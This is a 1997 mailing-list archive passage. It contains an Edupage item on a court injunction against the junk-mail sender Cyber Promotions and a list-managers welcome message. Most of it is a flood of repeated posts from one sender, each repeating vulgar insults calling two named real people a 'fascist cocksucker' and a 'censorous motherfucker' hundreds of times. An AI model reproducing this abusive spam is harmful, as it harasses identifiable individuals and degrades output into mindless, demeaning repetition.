a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From attila at primenet.com Wed Feb 12 12:28:25 1997 From: attila at primenet.com (Attila T. Hun) Date: Wed, 12 Feb 1997 12:28:25 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702121825.LAA11266@infowest.com> maybe relief is in sight; can we spell excedrin? on or about 970211:1433 educom at elanor.oit.unc.edu said: +COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL +A U.S. district court in Ohio has granted CompuServe's request for a +preliminary injunction barring Cyber Promotions Inc. from sending +unsolicited e-mail to its subscribers while the commercial provider +pursues its lawsuit against Cyber Promotions. The injunction was +granted after Cyber Promotions foiled CompuServe's initial attempts to +block its messages by falsifying the point-of-origin information on +its e-mail messages and by configuring its network servers to conceal +its actual Internet domain name. "To the extent that defendant's +multitudinous electronic mailings demand the disk space and drain the +processing power of plaintiff's computer equipment, those resources +are not available to CompuServe subscribers," the court reasoned. In +addition, because many subscribers had complained to CompuServe about +the mailings, the court found that Cyber Promotions' intrusions +constituted "harm" as well as trespassing under common tort law. The +court found that the "plaintiff is not a government agency or a state +actor which seeks to preempt defendants' ability to communicate but is +instead a private actor trying to tailor the nuances of its service to +provide maximum utility to its customers." (BNA Daily Report for +Executives 7 Feb 97) ___________________________________________________________attila_____ "The only difference between me and a madman is that I am not mad." --Salvador Dali ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 12:28:27 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 12:28:27 -0800 (PST) Subject: List-Managers list info Message-ID: <01IFBXDRL4FQ9AN99E@mbcl.rutgers.edu> From: IN%"Majordomo at GreatCircle.COM" 4-AUG-1996 00:00:26.72 To: IN%"EALLENSMITH at mbcl.rutgers.edu" CC: Subj: Welcome to list-managers Welcome to the list-managers mailing list! Please save this message for future reference. Thank you. If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe list-managers EALLENSMITH at mbcl.rutgers.edu Here's the general information for the list you've subscribed to, in case you don't already have it: Description =========== This list is for discussions of issues related to managing Internet mailing lists, including (but not limited to) methods, mechanisms, techniques, policies, and software (in general; questions about specific software packages should be directed to the mailing list dedicated to that particular package). Technical questions regarding particular software packages (for instance, Majordomo, LISTPROC, ListServ, etc.) are NOT appropriate for the List-Managers mailing list. They should be directed to the mailing list dedicated to that particular package (for instance, for Majordomo, that's Majordomo-Users at GreatCircle.COM). Check the documentation that came with the package to find out where the support list for that package is hosted. This list is an outgrowth of the "Mailing Lists" workshop session at the USENIX System Administration Conference (LISA VI) in Long Beach, CA, on October 22, 1992. This is the undigestified version of the list. All messages sent to this list are immediately forwarded to members of the list. The digestified version of the list is List-Managers-Digest at GreatCircle.COM. Policies ======== You can subscribe a local redistribution list or a gateway to a local newsgroup, as long as whatever you do is local to your site. This restriction makes it much easier for me to track down mailer problems. I'm very aggressive when it comes to bounced email. If email to you starts bouncing, I'll probably drop you from the list fairly quickly; you'll have to resubscribe when you get the problem fixed, and retrieve the archives to find out what you missed. Archives ======== All messages to the list are archived. The archives are available via Majordomo using the "get" command (send "help" in the body of a message to "Majordomo at GreatCircle.COM" for more info), or via anonymous FTP from host FTP.GreatCircle.COM in directory "pub/list-managers/archive". The archives are broken down by year and month, and are stored in files named "list-managers.YYMM". The copy of the archive available by anonymous FTP is updated every night at 2am local time (0900 GMT in the summer, 1000 GMT in the winter). For further information, contact: Michael C. Berch Postmaster and list manager, Great Circle Associates mcb at greatcircle.com From paul at fatmans.demon.co.uk Wed Feb 12 12:29:05 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:29:05 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771062.522339.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:29:21 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:29:21 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771133.522944.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:29:31 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:29:31 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771146.523070.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:29:36 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:29:36 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771141.523013.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:29:40 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:29:40 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771026.522020.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 12:30:29 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 12:30:29 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770960.521416.0@fatmans.demon.co.uk> John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John 